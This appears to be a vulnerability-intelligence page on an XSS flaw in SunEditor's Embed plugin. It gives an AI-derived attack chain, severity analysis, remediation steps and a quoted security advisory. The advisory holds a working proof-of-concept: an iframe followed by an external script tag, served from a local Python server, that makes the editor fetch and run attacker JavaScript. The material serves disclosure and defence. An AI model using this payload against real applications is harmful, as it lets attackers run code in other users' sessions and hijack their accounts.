Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate with editor-level credentials
-
DeliveryOpen Embed modal in SunEditor
-
ExploitSubmit crafted iframe + external script sibling payload
-
InstallContent stored in backend without sanitization
-
C2Victim user opens or previews the document
-
ExecuteEmbed plugin recreates and appends attacker-controlled script element to DOM
-
ImpactAttacker JavaScript executes in victim's authenticated browser session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The SunEditor Embed plugin must be explicitly enabled in the application's editor configuration - it is a discrete plugin, not active in all deployments. The attacker must hold at least editor-level (low-privilege) authenticated access to the application to submit embed HTML through the Embed modal (PR:L per CVSS 4.0 vector). A victim user must subsequently open, preview, or edit the document containing the malicious embed content in a SunEditor instance (UI:P). Cross-user stored XSS requires that the application does not apply backend sanitization (e.g., DOMPurify) to SunEditor output before persisting or rendering it to other users - applications with robust server-side sanitization are not exposed to the cross-user escalation path. Single-user deployments where content is never shared are exposed only to self-XSS, which has negligible security impact. |
| Impact | The CVSS 4.0 score of 8.5 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N) accurately reflects the threat model: low-privilege authenticated access is required to inject the payload, and a separate victim must interact with the malicious content before execution occurs. These two friction points (PR:L and UI:P) meaningfully constrain opportunistic mass exploitation, so this is not a spray-and-pray scenario. Real-world risk is primarily driven by deployment architecture: applications that store SunEditor content in a backend and render it to higher-privilege users without additional sanitization face stored-XSS with high-privilege victims, materially elevating impact beyond the base score. No EPSS score was provided in the input data, and no CISA KEV listing exists, so exploitation probability from external threat-intelligence sources is unconfirmed. However, a working POC is publicly documented in the GHSA advisory, meaning the barrier to reproduction is low for any attacker who has editor-level access. Applications that apply backend sanitization (e.g., DOMPurify) before storing or rendering SunEditor output are substantially protected even without patching. |
| Exploit ScenarioDerived | An attacker with authenticated editor access submits the payload |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 26, 2026
DOM-based XSS in SunEditor's Embed plugin (npm/suneditor <= 3.1.3) allows an authenticated user with editor access to execute arbitrary JavaScript in another user's browser by submitting crafted embed HTML containing an iframe followed by an external script element. The Embed plugin's node-processing loop recreates the attacker-controlled script element and appends it to the live DOM rather than discarding it, bypassing sanitization. A working proof-of-concept is publicly documented in GHSA-w93q-cq9w-58p7; no KEV listing is present, but stored-XSS scenarios targeting higher-privilege users (administrators, editors) compound the impact significantly.
Earlier versions of this analysis (1)
DOM-based XSS in SunEditor's Embed plugin (npm/suneditor ≤ 3.1.3) allows an attacker who can supply embed HTML to execute arbitrary JavaScript in any user's browser that subsequently opens, previews, or edits the stored content. The plugin's sanitization logic fails to block external script elements appended after a valid iframe: it programmatically recreates the attacker-controlled script element and appends it to the live DOM, triggering immediate browser fetch-and-execute of the remote payload. A functional proof-of-concept is publicly documented in the GitHub Security Advisory (GHSA-w93q-cq9w-58p7); no active exploitation has been confirmed in CISA KEV at time of analysis.
RemediationAI
Upgrade the suneditor npm package to version 3.1.4, which introduces a scriptSrcWhitelist option (defaulting to reject all script elements) and validates any script src attribute against this allowlist before creating or appending a script element to the DOM. The fix is available at https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677 and the tagged release is at https://github.com/JiHong88/suneditor/releases/tag/3.1.4. If immediate upgrade is not feasible, apply backend sanitization using a library such as DOMPurify with FORCE_BODY and a strict allowlist before storing or rendering any SunEditor-generated content - this breaks the stored-XSS escalation path at the server boundary, though the client-side execution risk remains for the submitting user's own session. Alternatively, disable the Embed plugin entirely if embedding functionality is not required; this eliminates the vulnerable code path with no other side effects.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SunEditor is a WYSIWYG HTML editor distributed as an npm package (pkg:npm/suneditor). Its Embed plugin parses raw embed HTML via the browser's DOMParser API and iterates the resulting child nodes. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) is that the plugin's loop detected script elements but, instead of discarding them, extracted the attacker-supplied src attribute and used dom.utils.createElement to construct a fresh HTMLScriptElement, which was then appended to the cover element. Dynamically created and appended script elements trigger browser network fetches and immediate execution. The fix in commit 9d43a5e introduces a configurable scriptSrcWhitelist option (defaulting to an empty array - reject all) and a private static #isAllowedScriptSrc method that gates script creation; iframe src values are also now validated against the existing URL whitelist.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
PR:L for required editor authentication, UI:R for victim interaction, S:C because attacker script runs in victim's browser session, no availability impact.
Primary rating from Vendor (https://github.com/JiHong88/suneditor).
CVSS VectorVendor: https://github.com/JiHong88/suneditor
Lifecycle Timeline
3DescriptionCVE.org
Summary
A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.
If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.
Details
The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.
Relevant behavior:
const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);
Because the script is newly created and appended, it executes.
PoC
Start a local server hosting a JavaScript payload:
mkdir -p /tmp/suneditor-poc
cd /tmp/suneditor-poc
cat > poc.js <<'EOF'
alert(1);
console.log("SunEditor Embed Plugin XSS executed");
EOF
python3 -m http.server 8000Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script> Successful exploitation is confirmed when:
alert(1) appears
or the local server logs:
GET /poc.js
Impact
An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.
The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.
Suggested Fix
Do not recreate or append script elements from user-controlled embed HTML.
Minimum mitigation:
if (/^script$/i.test(chd.nodeName)) {
continue;
}A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.
Executive ViewAI
SunEditor npm package versions 3.1.3 and earlier contain a cross-site scripting vulnerability in the Embed plugin that allows authenticated users with editor permissions to execute arbitrary JavaScript affecting other users, particularly administrators and editors. Organizations using SunEditor in collaborative content platforms face risk of unauthorized actions, session hijacking, and potential data compromise. A patch is available from the vendor.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
EUVD-2026-66595
GHSA-w93q-cq9w-58p7
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB